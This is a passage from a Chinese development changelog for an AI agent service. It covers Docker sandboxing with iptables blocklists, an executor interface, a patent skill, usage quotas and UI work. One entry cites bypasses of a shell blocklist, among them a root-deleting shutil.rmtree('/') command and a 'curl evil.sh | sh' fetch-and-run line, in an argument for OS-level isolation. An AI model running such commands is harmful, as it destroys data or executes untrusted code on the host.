创建销毁噪声;改 pool 同步成本更低;(b)run_pythontmp .py 放工作目录内 —— 污染用户视野,SKILL 教模型"列工作目录用 glob"时 tmp 文件干扰,crash 残留与产物混(详 §7.9 取舍记录会在下次有同款问题时考虑沉淀);(c) host 侧独立 bind mount<workspace>/.sandbox_tmp/<uid>/挂成容器/tmp_scripts—— 多挂一个 mount 复杂度上升,单 bind mount 协议保持更直;(d) docker backend 失败时退化到 host —— 沙盒缺失=安全模型崩,fail-fast 比"看起来在跑"重要,§7.5 硬协议"任一缺失视为部署未完成"。 - Stage C Step 2:Docker per-user 容器 + iptables blocklist(§7.5 #1 + #3 落地基底,未接入 AgentLoop):
deploy/sandbox/Dockerfile(python:3.11-slim + tini PID 1 + iptables/iproute2/netbase + non-root user uidHOST_UIDbuild-arg + 全套 requirements.txt 装到容器内)+deploy/sandbox/init.sh(set -euo pipefail,任一 iptables 规则失败 fail-fast → 容器终止,符合 §7.5 #1"任一缺失视为 Stage C 未完成"硬协议;6 段 IPv4 红线 + ::1 IPv6 loopback 降级容忍 +ZCBOT_PG_IPSenv 逐 IP DROP;exec sleep infinity等docker exec进来)。core/sandbox/network.py单函数ensure_network(),docker network create --internal zcbot-sandbox-net(默认无 outbound + 跨容器隔离,Step 4 加 proxy 时 proxy 同接此网络);core/sandbox/pool.pySandboxPool类持 per-userasyncio.Lock+ in-memory_last_activedict —— ensure 路径 inspect 探测 → running 直接返 / exists-but-stoppedrm -f重起(保 iptables 重新 apply)/ 不存在docker run装齐 hardening flags(--read-only --tmpfs /tmp:exec --cap-drop=ALL --cap-add=NET_ADMIN --security-opt=no-new-privileges --pids-limit=256 --memory=2g --cpus=1.0+ bind mount user_root →/workspace+ labelzcbot.product=sandbox给批量清扫用 +--restart=no);mark_active更新 dict /reap_idle按 ttl 杀 /shutdown_all杀 label 全集(app 启动清前驱孤儿用)。容器命名zcbot-sandbox-<user_id>(UUID 标准串带 dash,与 mount 路径<workspace>/users/<user_id>/视觉对齐 ──docker ps | grep zcbot-sandbox-直接看活跃 user)。关键决策:(a) docker CLI via subprocess 而非 docker-py SDK ── §7.5 #5 "接口形状不泄漏 Docker 假设"对应到实现层,subprocess 行为透明、零新依赖、docker ps实地对账;(b)docker update --label-add不可用 → 用 in-memory dict ── Docker 23+ 移除 runtime label 修改,所以 last_active 落 Python dict;app 重启 dict 空 → 历史孤儿由shutdown_all兜底清(lifespan 启动钩子里调);(c)--internal网络从 Step 2 即生效 ── iptables OUTPUT 规则作为 defense-in-depth(网络层已堵死 outbound,iptables 仍按协议加规则);Step 4 加 proxy 时 proxy 容器同接zcbot-sandbox-net,加 iptables ACCEPT 例外 + 改默认 DROP 实现"默认 deny + 仅经 proxy";(d) NET_ADMIN cap 留给 PID 1 root 跑 iptables ── 容器整生命周期持 NET_ADMIN,但 PID 1sleep infinity不接外部输入,docker exec进来由--user 1000:1000锁 non-root + 空 cap_effective,等同于无 NET_ADMIN。Step 3 DockerExecutor 必须硬编 --user 1000 不让 root 路径打开(代码 review 守住)。Step 2 范围明确不包含:① AgentLoop 集成(agent_builder.py不动 ── pool 是孤立模块,Step 3 才插)② shell/run_python 切到容器 ③ egress proxy(Step 4)④ reaper 后台 task(Step 3 接入 web lifespan 时一起加)。验证:from core.sandbox import ...全套导入 + ctor 通过;SandboxPool(user_root_base=Path(...), pg_ips='10.x,172.x')字段正确;unittest discover1/1 PASS。docker 真起容器验证在 Ubuntu 上跑(RUN.md "Sandbox(Stage C,Ubuntu)" 段写了 5 条 smoke 命令:build / iptables 段 / non-root uid / read-only / 销毁)。DESIGN.md不动(纯按 §7.5 #1 #3 既有协议实施);RUN.md加 "Sandbox(Stage C,Ubuntu)" 部署段(镜像构建 / sandbox env / 5 条验证命令 / xfs project quota 升级时点)+ 故障兜底加 2 条(uid 错配 EACCES / NET_ADMIN 缺失)。否决:(a) 容器名用 sha256(uid)[:12] + label 反查 —— 每次 exec 多一次docker ps --filterround-trip,可读性损失,隐私收益 0;(b) per-task 容器 —— DESIGN §7.5 已锁 per-user 共享心智模型(同 user 多 task 共享素材),不重开;(c) 用 dockerinit container范式做 iptables —— Docker 没原生支持(那是 k8s),compose v2 同步又增复杂度,NET_ADMIN + 非 root exec 范式更直接;(d) Step 2 立即接入 AgentLoop —— 接了不能 dogfood(本地 Windows 无 docker),反而污染 host 路径;pool 孤立 commit 留 Step 3 一起接。 - Stage C Step 1:Executor 接口骨架 + HostExecutor in-process backend(§7.5 #5 落地):
core/executor.py加ExecutorABC +ExecCtx(user_id/task_id/working_dir/cancel_check)+ToolResult(content/exit_code);core/executor_host.py加HostExecutor包原 tools dict,call_tool内部分流到对应Tool.execute并把三种错误(unknown / TypeError / 抛异常)统一收成[Error] ...content + exit_code 区分。AgentLoop.__init__改接executor而非toolsdict、加working_dir形参;_stream_llm用executor.schemas()拼 LLM tools 字段;_execute_tool_call改单条executor.call_tool(name, args, ctx),删原三段错误 emit(unknown/TypeError/Exception 已被 executor 收编为 ToolResult,只剩一处 emit)。agent_builder.py装完 tools dict 后HostExecutor(tools)包一层,传给AgentLoop。接口形状刻意 backend 无关——不暴露docker exec/docker cp等 Docker 假设,Step 3 切 docker backend 时AgentLoop零改动,只换agent_builder.py里HostExecutor→DockerExecutor(host_tools=..., docker_tools={shell, run_python})。行为零变化 —— sanity import 通过,unittest discover -s tests1/1 PASS。DESIGN.md不动(纯按 §7.5 #5 既有协议实施,无架构漂移);RUN.md不动(无新 env / CLI 变化,ZCBOT_SANDBOX_BACKENDenv 留到 Step 3 docker backend 引入时一起加)。否决:(a) 不抽 Executor 直接在shell.py/run_python.py里if backend=='docker'—— 违反 §7.5 #5,未来切 gVisor/Firecracker 时改动散到工具层;(b) Executor 用exec(cmd, ctx)primitive 而非call_tool(name, args, ctx)dispatcher —— 不匹配 DESIGN 签名,且 host 工具(read/web_*/seedream)不是 "命令" 语义;(c) 用cancel_checkcallable 替代 ExecCtx 重建 —— 当前 cancel_check 是 build 后 setter 赋值,ctx 缓存会指向 stale,per-call 构 ExecCtx 是 dataclass 廉价。 - REVISIONS.md 修订日志机制(覆盖 proposal/patent/ppt 三个产物型 skill):
<task_dir>/REVISIONS.md作为产物迭代过程的紧凑 changelog —— task 对话历史是粗流水(50 条消息找上周改动靠翻),REVISIONS 是用户与 LLM 共同沉淀的实质决策列表(5 行就能复盘"上周这章为啥这么写"),与 spec 定位互补:spec = 宪法(定调一次),REVISIONS = 实施日志(每次卡点累加)。三个 SKILL.md 各加 (a) 起草步骤里加一步"用户确认实质改动后追加一行" + (b) "## 修订日志" 独立小节(何时记/何时不记表 + 格式约定 + 实例 + 操作)。三类 skill 的"实质改动"判据按各自领域定制:proposal = 技术路线/考核指标/创新点/课题分解/关键引文/预算结构;patent = 区别技术特征/关键参数/公式/实施例/章节;ppt = 版式/主色/页/图标/文案要点。统一原则:首次起草不记 / 错别字微调不记 / 模型自己改改撤撤不记 — 拿不准倾向不记,避免变流水账。格式选单行 bullet 倒序追加(时间在前、文件:章节定位、改了什么 — 为什么),用 edit 在头注释后插入新一行(不 append 到末尾,倒序读秒看最新)。否决:(a) 走 system prompt 软约束 — 对 coding/research/documents/imagegen/videogen 等非产物型 skill 强加无关约束;(b) 新建record_revisiontool — 开发期内 LLM 直接 edit 追加足够,加 tool 增加每次小改的调用开销,后期发现 LLM 漏记多再升 tool 化;(c) 按产物拆多文件(<topic>.revisions.md)— 单文件好读、跨产物时间线统一。DESIGN.md不动(无架构变化);RUN.md不动(无 CLI/env 变化)。 - 新增 patent skill(中国发明专利技术交底书):
skills/patent/完整 6 文件 —SKILL.md主入口(五阶段 workflow:摄取 → 挖点 → 检索 → spec → 逐章起草 → 自查渲染,跟 proposal 同款 BLOCKING 节奏)+references/{disclosure_structure,patent_point_taxonomy,prior_art_search,self_check}.md4 份指南 +templates/{spec,disclosure}.md2 份模板。关键复用避免重复造:① 素材摄取用markitdownCLI(不内置 docx/pptx→md);② mermaid + docx 渲染直接复用skills/proposal/scripts/{render_diagrams,render_docx}.py(参数兼容,patent 不另写);③ 现有技术检索走现成的web_search/web_fetch(Bocha)+documents+research,不实现 CNIPA Playwright 爬虫(反爬重、维护成本高,正式可作 IDS 提交的检索建议走线下专业渠道);④ 不实现修订日志(zcbot task 对话历史已有)。源 repogithub.com/handsomestWei/patent-disclosure-skill的 11 prompts 文件折叠进单份 SKILL.md(跟 proposal/ppt 风格一致)+ 8 Python tools 减到 0(全靠复用)。skill 内特有内容:7 章交底书骨架(技术领域 / 背景 / 发明内容 / 附图 / 实施方式 / 有益效果 / 权利要求建议)+ 三性自检(新颖/创造/实用)+ 9 类客体排除清单 + 6 类自查清单 + 脱敏边界(商业敏感词中性化、技术参数不脱敏)。SkillRegistry自动发现验证通过。DESIGN.md不动(无架构变化,纯新 skill);RUN.md不动(无 CLI/env 变化)。 - §7.5 沙盒落地清单 6 条写入 DESIGN(Stage C 实施硬协议):Stage C 动手前把"原则 → 具体协议"沉淀,防实施时漏。① 网络 blocklist 硬编码段(
169.254.0.0/16cloud metadata / loopback / 内网三段 /100.64.0.0/10CGNAT,PG IP 单独再 block 一遍——Capital One 2019 同款攻击向量);② egress proxy 模型(容器HTTP_PROXYenv + iptables DROP except proxy 端口防 SDK 绕 env,宿主侧 proxy 做域名 allowlist + 字节计量 +network_audit审计日志,allowlist 初始集列出 PyPI / GitHub / npm 等);③ 进程组清理协议(docker exec走setsid+kill -- -PGID,防nohup &/disown跨 exec 持久化破"同 user 不内隔离"残留风险假设);④ 磁盘配额硬化时点(开外部前必须升 xfs/ext4 project quota 或 zfs dataset quota,否则扫描间隙打满共享 fs 拖死同节点);⑤ Executor 接口走 backend driver +ZCBOT_SANDBOX_RUNTIMEconfig 注入(未来切 gVisor/Firecracker/e2b 应用层零改动,避免 Docker API 形状泄漏到接口层);⑥ 工具按信任域二分 dispatch — host in-process:read/write/edit/glob/grep/load_skill/web_search/web_fetch(原本就在 host 持凭据 / 走 paths.py 校验,塞容器无收益付 200ms × N),container exec:shell/run_python(执行任意代码必隔离)。同时把 gVisor / Firecracker / 容器内 tool-runner 三档升级触发信号写死,反向兜底"无信号不升级"。否决:(a) 把落地清单同时写进 DESIGN 和 PROGRESS 双 source — 漂移源,PROGRESS 只指针 DESIGN;(b) 在落地清单里写"勾对"验收语气 — DESIGN 写为什么 + 协议形状,验收语气进 PROGRESS 下一步候选 DoD;(c) 立即开始实施 — 设计先沉淀,实施排进下一步候选 #2 单独节奏。RUN.md不动(运行方式无变化,Stage C 还没实施)。
2026-05-25
-
dev SPA 前端 CDN 资源本地化 + 升级稳定版:
web/static/dev.html顶部 markdown 渲染依赖从 jsDelivr CDN 改成本地web/static/vendor/markdown/文件,避免内网/跨境访问 CDN 抖动导致 Markdown / XSS sanitizer / 代码高亮不可用。版本按 npm/latest 核对后固定为marked@16.2.1(marked.umd.js)、dompurify@3.2.6、highlight.js@11.11.1(含github.min.css),并新增tests/test_static_vendor.py标准库 unittest 回归检查:HTML 不再出现cdn.jsdelivr.net,且 4 个本地 vendor 文件存在非空。DESIGN.md不动(无架构变化);RUN.md不动(运行方式无变化)。 -
dev SPA 三类上传入口显示进度:
web/static/dev.html上传底层从fetch改为XMLHttpRequest以使用xhr.upload.onprogress,保留/v1/files/upload后端 API 不变。uploadFiles(files,{onProgress})统一服务 Ctrl+V 粘贴、右侧上传按钮、右侧拖拽上传;粘贴时#chat-hint显示上传中 N% · 文件名 · 已传/总量,完成后仍切到可预览/可删除 chip;右侧上传按钮和拖拽入口共用#file-upload-status状态条,显示总进度条和完成/失败短提示,成功后刷新文件列表。DESIGN.md不动(纯 dev SPA 上传交互);RUN.md不动(运行方式无变化)。 -
dev SPA Ctrl+V 粘贴上传 chip 支持删除:
web/static/dev.html粘贴上传成功后的 chip 改成paste-chip-wrap组合控件:文件名按钮继续预览,右侧×调POST /v1/files/delete删除该上传文件(recursive:false),删除后移除对应 chip、刷新右侧文件栏;若主/小预览当前正打开这个 rel,同步关闭对应预览。全部 chip 删除完后chat-hint显示"已删除粘贴文件"。DESIGN.md不动(纯 dev SPA 交互);RUN.md不动(运行方式无变化)。 -
dev SPA Ctrl+V 粘贴上传反馈改成可预览 chip:
web/static/dev.htmluploadFiles()成功时返回/v1/files/upload的saved[]元数据,粘贴文件后#chat-hint显示"已粘贴" +.art-chip文件 chip + "可在右侧文件处查看",不再 4s 自动消失,下一次发送时由原有"发送中…"状态覆盖。chip 点击复用openFilePreview;若主文件预览框已打开,改开新增的#mini-preview-modal小预览窗(支持 image/video/pdf/text/md,其它格式给下载兜底),避免覆盖用户当前正在看的主预览。DESIGN.md不动(纯 dev SPA 交互);RUN.md不动(运行方式无变化)。 -
dev SPA 三栏支持右文件栏折叠 + 左右分隔线拖拽调宽:
web/static/dev.html主布局从 3 列 grid 改为 5 列 grid(任务栏 / 左 splitter / 对话栏 / 右 splitter / 文件栏),新增#split-left/#split-right两条 6px 拖拽分隔线,拖动时分别调整--left-pane-width/--right-pane-width并持久化到 localStorage(zcbot.left-width/zcbot.right-width)。右侧文件栏新增#pane-toggle-right,折叠态复用左栏 rail 范式:列宽 40px,只保留展开按钮,状态持久化到zcbot.right-collapsed;手机端继续走三 tab 单列,隐藏折叠按钮和 splitter,避免与移动端导航冲突。DESIGN.md不动(纯 dev SPA 布局交互);RUN.md不动(运行方式无变化)。 -
dev SPA 右侧文件列表长名称 hover 显示全路径:
web/static/dev.html在右 pane 文件行.file-row .name和"选入…"源文件列表.sp-row .sp-name上补title,内容取e.rel || e.name,保留现有 ellipsis 截断视觉,鼠标悬停可看完整相对路径/名称。DESIGN.md不动(无架构/心智模型变化);RUN.md不动(运行方式无变化)。 -
dev SPA 左侧滚动条只覆盖 task 列表:
web/static/dev.html左 pane 改成 flex column,顶部 4 行 pane-head(任务标题/新建/搜索筛选/排序)固定不参与滚动;#task-list与#task-sentinel包进#task-scroll,并把 IntersectionObserver root 从#pane-left改到#task-scroll,保证无限滚动仍按列表区域触发。DESIGN.md不动(无架构/心智模型变化);RUN.md不动(运行方式无变化)。 -
接入博查 Web Search + Web Fetch 两个 tool:
tools/web_search.py(BochaConfig/BochaClient, POST/v1/web-search,Bearer 认证),tools/web_fetch.py(httpx + html2text,SSRF 内网屏蔽,截断 8000 字符);config/web/bocha.yaml配置 API key env(BOCHA_API_KEY);core/agent_builder.py注册 — web_fetch 无条件挂,web_search 仅在 env 设了 BOCHA_API_KEY 时挂(跟媒体 tool 同范式)。requirements.txt加httpx>=0.27.0+html2text>=2024.0。DESIGN.md不动(纯新 tool 无架构变化);RUN.md不动(运行方式无变化)。
2026-05-22
- dev SPA 手机端对话面板顶栏 + chat-meta 紧凑化:
web/static/dev.html手机段(≤640px)对#pane-mid > .pane-head加flex-wrap: wrap+ 按钮white-space: nowrap,消除 5 个按钮(导出对话记录/清空对话/完成/废弃/删除)在 320-360px 视口被挤压后"完\n成"这种逐字竖排;同时藏掉.label("对话",mobile-tabs 已亮态指示)和.spacer(flex-wrap 下 spacer 会强制后续按钮换行影响视觉一致)。#chat-meta同段把gap8px → 6px、藏.tid(8 位 UUID 前缀手机用户用不上)、.desc加max-width:60vwellipsis(避免长 description 独占一行);三个 model 下拉 label "模型/生图/生视频" 用.mdl-text / .mdl-icon双 span 渲染,桌面显文字 + 手机显 emoji(💬🖼🎬)——renderModelDropdown / renderImageModelDropdown / renderVideoModelDropdown三处统一。改动只在手机视口生效,桌面零变化。否决:(a) 折叠成 ⋯ 浮层菜单(用户拒,多一次点击);(b) 改图标按钮(5 个动作含义不直观需 tooltip);(c) 把 emoji 应用到桌面(无解决问题且改动用户已习惯的桌面态)。 - embed 模式接受
task_idURL 参数定位 task:web/static/dev.html解析?task_id=<uuid>并在首次签发 token 后调selectTask(task_id)自动加载该 task 的消息列表;两条进入路径都覆盖 —— ①embedHandleMessage收到zcbot-token首次enterApp()之后(无缓存 token 走父端握手);②embedInit启动时 localStorage 已有 token 直接enterApp()之后。_embedInitialTaskHandledonce 标记保证只生效一次 —— 401 重签时不重置选择(尊重用户中间 UI 切过别的 task),后续切 task 走 UI 用户主导。task_id 错或不属于当前 user →selectTask走原有 401/404 错误分支(chat 区显"加载失败:…")。EMBED.mdURL 参数表新增task_id行 + 故障兜底表加一行"带 task_id 没自动定位"。否决:(a) postMessage 协议加zcbot-task让父端任意时刻切 task —— 当前需求只到"打开 iframe 时定位",加协议增维护面;父端要切换可重载 iframe 走 URL 参数同一路径;(b) 把 task_id 塞进zcbot-tokenpayload —— token 是身份,task 是导航状态,语义混耦;(c) 同时支持?msg_id=滚动到特定消息 —— 用户没要求,加 anchor 还要改loadMessages渲染后滚动逻辑,YAGNI。 - 媒体生成每账号每日配额(yaml 可配,默 20 图 / 5 视频):
config/agent.yaml加quotas段(images_per_day: 20/videos_per_day: 5),core/storage/usage.py::check_daily_quota(user_id, kind, limit)SELECT COUNT FROM usage_events WHERE user_id=? AND kind IN(image/video) AND created_at >= 本地今日 00:00,limit<=0短路不查 DB。SeedreamTool/SeedanceToolctor 新增daily_limit形参由agent_builder从 yaml 透传,execute()起手 if 超额返[Error] 已达每日 X 生成上限(N/M),次日 00:00 重置不调远端不烧钱。tool 返串会进 LLM 上下文 → 模型据此对用户解释,所以只暴露已用/上限 + 重置时间,不写config/agent.yaml::quotas.X这种 yaml 路径(否则 LLM 倾向原文复述,SaaS 场景泄漏内部 schema 给外部用户;管理员要调改自己读代码/yaml 找,30 秒事)。跨 task 跨 variant 全口径合计 —— 配额是账号级与具体 variant 无关(seedream + 未来的 seedream_pro 共享同一 20 张池)。失败任务不计 —— record_*_usage 只在成功+下载完才落库,失败 retry 不烧配额符合直觉。并发 race(同 user 跨 task 两次 check 同时过)可接受 —— 软上限非计费 hard cap,日级偶尔多 1 张不破坏保护意图,不加事务锁。否决:(a) env 变量(ZCBOT_IMAGES_PER_DAY等)—— 配额是业务策略不是部署秘密 / 环境差异,跟现有 yaml 类参数(默认 size / 价格 / 超时)分工一致,且 yaml 带注释 + 多值组合扩展自然(未来加 audio_per_day);(b) AgentLoop 集中 pre-flight —— 给 loop 加配额映射反而散,tool 层自检每次只多一行 SQL 亚毫秒,符合"工具按原子操作切分";(c) 滑动 24h 窗口 —— 用户直觉是"今天用完了明天再来"的日历日,服务器本地 00:00 重置语义更顺;(d) tool 返串里贴 yaml 路径给管理员看 —— LLM 会向用户复述,泄漏内部 schema。 - "+ 新建任务"按钮从 header 挪到任务面板 + 改通栏单独一行:
web/static/dev.html#hd-new节点直接在 HTML 里挪到#pane-left,放在第一行.pane-head(任务标题 + 计数 + filter + 刷新 + 折叠)之下、搜索行之上的独立.pane-head行,flex:1撑满整行(primary 红底通栏 CTA)。原本塞在第一行 spacer 之后,但 pane 320px 宽度下"+ 新建任务"中文五字会被挤断行,通栏解决根因。语义更贴(新建任务 = 任务面板的动作);顶栏减负只剩身份区(brand / 用户名 / 退出登录);两种模式 DOM 一致,顺手删了embedInit里动态insertBefore那段 +@media phone里#hd-new紧凑覆盖(通栏环境不需要缩字号)。桌面 / 平板折叠态被#pane-left > * { display: none }自动藏掉,无需额外覆盖。 - dev SPA 加 iframe embed 模式(
?embed=1&parent_origin=...):web/static/dev.html加 embed 模式 — 父页面 iframe 嵌入时藏左上 brand / 顶栏#hd-who/ 退出登录按钮(桌面段整层 headerdisplay:none,移动段保留 header 给.mobile-tabs切换用),JSembedInit把#hd-new("+ 新建任务")从 header 节点移到任务面板 pane-head(spacer 之后、#filter-status之前,加smallclass 跟周边按钮对齐高度)。postMessage 协议:iframe 启动发{type:"zcbot-ready"}给父端,父端调自家后端用PLATFORM_KEY走 zcbot 已有的POST /v1/auth/login拿 JWT,通过{type:"zcbot-token", token, user_id, user_name?}推回 iframe;iframe 写 localStorage +enterApp()。401 时改写logout()不再location.reload(),而是发{type:"zcbot-401"}通知父端重换 token,期间显灰底等待层(#embed-waitingspinner + 文案);新加 css classbody.embed-mode/body.embed-mode.embed-waiting控制可见性。安全要点:event.origin双向校验(白名单 = URL 参数parent_origin),缺参数直接显错误占位拒收;PLATFORM_KEY留在 platform 后端绝不下发浏览器。web/EMBED.md写给 platform 工程的对接手册(URL / 协议 / Node/Python 后端示例 / 父端前端示例 / CORS / CSP frame-ancestors 收紧建议 / 调试 + 故障兜底表)。否决:(a) URL 参数直接传 token —— Referer / 浏览器历史泄漏面;(b) 同源 + 共享 localStorage —— 用户明确说不同源;(c) 拆 dev.html 进 platform SPA route —— 工作量爆炸。 - dev SPA chat-input 支持 Ctrl+V 粘贴文件上传 + chat-hint 反馈:
web/static/dev.html给#chat-input加paste监听 ——e.clipboardData.files非空时preventDefault+ 复用现有uploadFiles(files)走/v1/files/upload落到state.filesPath(与拖拽到右 pane 同通路);纯文本粘贴走默认不拦。uploadFiles改返回 bool(成功 true / 失败 false,原 alert 行为不变);粘贴 handler 通过chat-hint广播 "上传中:…" → "已粘贴:"(4s 后回前一个 hint,同optimizePrompt救回范式,不破坏 streaming/optimizing 期间的状态)。失败仍走 alert,hint 立即恢复。placeholder 提示加Ctrl+V 可粘贴文件。常见场景:截图后直接 Ctrl+V 入对话区当作素材上传,免去切窗口走右 pane 拖拽。 - dev SPA 文件预览弹框让出 chat-form 高度(打开期间输入区仍可点可打字):
web/static/dev.html给#file-preview-modal加bottom: var(--preview-bottom-inset, 0)—— 默认 0 行为不变,openFilePreview时 JS 量#chat-form.offsetHeight(隐藏走offsetParent判空 → 0,无活动任务恢复全屏)写到弹框元素 inline style 上;.card加max-height: calc(100vh - var(...) - 32px)让卡片随容器收缩不溢出,手机段同理用100dvh。closeFilePreviewremoveProperty清掉避免下次冗余。弹框遮罩本身物理上不覆盖底部输入区 → chat-form 自然可点击/打字,Esc 与点遮罩关闭逻辑不动。否决:(a) 整窗pointer-events: none+ card 收回 —— 遮罩物理还在覆盖,视觉仍遮挡;(b) 弹框抽进#pane-mid内 absolute —— 弹框来源含#pane-right文件列表和聊天 chip,挂 mid 内会限制弹框只能在 mid 列,且#pane-mid多层 flex 嵌套要重排;(c) 硬编一个常量bottom: 140px—— chat-form 高度依据 textarea 用户拖拽变化(min 60 但可拉高),JS 量一次足够准。 - 对外路径协议刚性化(system 强约束 + SKILL 简化 + UI 一次性兼容):
prompts/system/general_v1.md「路径」段加规则 —— 助手对外 echo 产物路径必须用 user_root 相对全形式<wd_name>/<rel>(<wd_name>= task_dir 末段,如生图测试/videos/xxx.mp4/基金申报/sections/01-绪论.md/公司汇报/slides/deck.pptx),不简写为videos/xxx.mp4这种 task 内裸形式(Web UI 按<wd_name>/前缀挂 chip,简写 → chip 失效用户点不开)。媒体 tool(seedream/seedance)的saved:行已是规范全形式可直接照抄,其他场景(ppt / proposal / coding 等 run_python/write 写文件)自己拼。跨所有产物 skill 统一生效(不止 imagegen/videogen)。skills/imagegen/SKILL.md+skills/videogen/SKILL.md把原有"把saved: xxx告诉用户"重复教学改成"照抄 saved 行,详见 system「路径」段"(消除 skill 内具体写法 → 协议归一到 system,新产物 skill 不用重复教育)。ppt/proposal/coding 等 SKILL 不动 —— 它们只泛说"告诉用户文件路径"没教错,system 协议升级后助手自然按全形式 echo,加 skill 提醒反而是协议漂移源。web/static/dev.html::extractArtifactRels加一次性兼容兜底:产物目录裸路径videos/xxx.<ext>/figures/xxx.<ext>(协议刚性前历史简写)prepend<wdName>/拼成 user_root rel —— 白名单显式枚举两项不扩展、长期老消息归档后整段可删。术语校准:前缀叫<wd_name>(working_dir 最后一段)而非<task_name>—— 用户允许wd_name ≠ task_name(build_agentwd_raw 走 working_dir 字段独立可指定),_display锚 user_root 出来的是<wd_name>,SKILL/system 早期写task_name在分叉场景下会误导助手拼错前缀。否决:(a) 后端_display改 task-relative 让 tool 输出本身就裸 ——Tool基类 + fs/skill_tool/seedream/seedance/agent_builder/smoke 改 8 个文件,且 fs 跨 task 时要分层 fallback(working_dir → user_root → 绝对),复杂度超过收益;(b) 后端补 HEAD 探针让前端验文件存在再挂 chip —— 工程量与开发期需求不匹配;(c) 白名单常驻服务所有简写形式 —— 维护负担+清单可能膨胀,改成"一次性兼容历史消息"角色后边界清晰;(d) 每个写产物的 SKILL 各加一句"按 system 协议" —— 协议漂移源,违反"system 谈通用、SKILL 谈领域"边界。 - dev SPA 手机自适应:两档断点 + tab 单列:
web/static/dev.html加@media,**平板段(641-1024px)**纯 CSS 强制 rail(grid40px 1fr 260px+ 左 pane 子项display:none+ 留 toggle 按钮),不写 localStorage —— 回桌面用户原偏好仍生效。**手机段(≤640px)**单列布局 grid1fr+grid-template-areas:"head" "main",三 pane 都grid-area: main且默认display:none,新加body.mv-{left,mid,right}控制当前可见 pane;header 加.mobile-tabs(任务/对话/文件)桌面display:none,手机段order:99 + flex-basis:100%换行铺底;selectTask末加if (mqPhone.matches) setMobileView("mv-mid")选中任务自动切对话。applyMobileMode()监听matchMedia("(max-width: 640px)"),进手机时清 DOM 上的left-collapsedclass(localStorage 不动),回桌面再applyLeftCollapsed(读 localStorage)恢复。100vh → 100dvh解决 iOS Safari 工具栏挤压;textarea / input强制 ≥16px 防 focus 双指缩放;4 个 modal 卡片宽度从固定 px 改min(92vw, …),file-preview 改100vw × 100dvh全屏化。#pane-toggle-left { display:none !important; }手机不允许折叠避免与 tab 切换语义冲突。否决:(a) 抽屉式(要写遮罩+手势 JS,自用工具不划算);(b) 只缩字号不改布局(三列在 360px 屏字段严重截断)。 - 豆包 Seedance 2.0 Fast 视频生成接入(文生视频)+ videogen skill:
config/media/doubao.yaml展开 video 段(seedance_2_fast:¥37/Mtok 文生 / ¥22/Mtok 图生,实测档位 480p 5s ¥1.86 / 720p 5s ¥4.00 — 由 token 公式(in+out)×W×H×fps/1024反推校验通过);tools/seedance.py走 ark POST/contents/generations/tasks→ 5s 间隔轮询 → succeeded 后 download mp4 + .meta.json 落<wd>/videos/<ts>-<rand>.mp4,失败/cancel 不计费;core/storage/usage.py::record_video_usage多态 units snapshot(resolution/duration/ratio/fps/tokens/单价);build_agent加video_variant+cancel_check形参 — cancel_check 必须在 build 阶段传(SeedanceTool ctor 持有用于轮询期间响应停止按钮,改了原"build 后赋 agent.cancel_check"的延迟绑定,web 入口同步迁移);web/app.py加_list_video_variants/_resolve_video_model/GET /v1/video_models/MessageRequest.video_model/OptimizePromptRequest.video_model;dev.html顶栏第三下拉 +state.videoModels/videoModel+ 发消息一起 POST。前端 chip / inline<video>/extractMediaBanner/_categorize在前期工作里已为 seedance 留好脚手架,几乎不动。skills/videogen/SKILL.md六维诊断把 imagegen 的"光线"换成"运动+镜头"两维(运动必填,否则应该走 seedream 而非 seedance —— 差 18 倍价钱);BLOCKING 门槛比 imagegen 更严(¥4 vs ¥0.22)且要等 30-90s,贴 prompt+参数+预计花费+预计等待四件套等明确确认。general_v1.md加 seedance 触发指引(平行 seedream)。phase 1 仅 t2v,不支持 i2v(skill 明示告诉用户)。fast 上限 720p,1080p+ 留给 pro variant(yaml 当前未配)。否决:(a) progress 事件流化(需要给 tool 加 sink 注入,phase 1 用run_status=running够了);(b) 远端 cgt-task DELETE(Volcengine 无明确 API,best-effort 不动);(c) i2v phase 1 拉进来(要图片转 URL + UI 选已有图,延后)。
2026-05-21
- dev.html primary button hover 文字消失修复(
.primary:hover加background: var(--accent)):button:hover:not(:disabled)与button.primary:hover特异性同为 (0,2,1) 平手按源码序后者赢,但后者只声明了filter: brightness(1.08)没声明background,导致backgroundfallback 到前者的var(--hover)浅灰,而color仍是.primary的白 —— 白字浅灰底视觉消失。修法守住 background = accent,brightness filter 在红底上正常提亮。"+ 新建任务" / "发送" 两个 primary 按钮 hover 体验回归。 - sandbox 阻塞地位写进 DESIGN(§7.7 Stage C 标 hard prereq / §7.8 加 shell+run_python 无沙箱风险行 / §7.9 加"不在工具层加强黑名单"取舍 2026-05-21):用户提出"模型写危险 sh 命令直接执行就炸了"担忧,确认风险真实但分两层 —— 本地 dogfood blast radius 限自身,§5 less-scaffolding-more-trust 适用;SaaS 外部开放则 blast radius = 主机 + 跨 user 数据 + cloud IAM,信任模型完全变。
tools/shell.py::BLOCKED_PATTERNS是 trivial-bypass 装饰品(双空格 /bash -c/python -c "import shutil; shutil.rmtree('/')"/curl evil.sh \| sh/cd /全能过),不在它上面继续加规则 —— 命令注入图灵完备,黑名单 fundamentally broken,做复杂只给虚假安全感且误伤合法用法。正确防线在 OS 层 §7.5(per-task docker exec + drop ALL caps + read-only rootfs + bind mount = own user root + egress allowlist + cgroup),Stage C 是开放外部用户的 hard prereq。否决了"shell=False + 拒管道 / 重定向 /$()"折中 —— 挡不住python -c间接路径且砍掉合法用法。 - dev.html CSS 精简 + 圆角降档 + modal 基类化(style 块 589 → 522 行,-11%):为了"没那么圆润"统一调整。引入 CSS tokens:① 语义色组
--c-green/blue/purple/orange/red+ 同色-bg/-bd三件套,顶栏 5 个按钮 hover + dd-item + badge.completed + sp-copy/sp-move 全切到 token(同色 selector 合并:export ≈ sp-copy 蓝、abandon ≈ sp-move 橙,各省 1 条规则);② 圆角分档--r-sm/md/lg/xl= 3/4/6/8px,主流 button/input/msg/menu 从 6px 降到 4px,modal card 从 8~12px 降到 6~8px,art-chip 999px 保留(胶囊语言);③--mono/--t/--shadow-card收敛重复 font-family/transition/box-shadow。④ 4 个 modal(#admin-modal/#src-picker-modal/#new-task-modal/#file-preview-modal)抽.modal基类(fixed/inset/bg/display/.show 五属性合并),id 选择器只留 z-index + 宽高差异;HTML 同步加class="modal"(JSclassList.add("show")不动)。⑤.msg .body与 file-preview.md-render合并 markdown 渲染规则(.msg .body x, .md-render x { ... },从两套 17 条缩到一套 17 条多 selector)。⑥button:disabled全局兜底,删散落 2 处单独写;#login input:focus与#admin-modal input:focus合并(规则一字不差)。.dev-item.act-export/rename同色合并到一行。功能 0 改动,JS 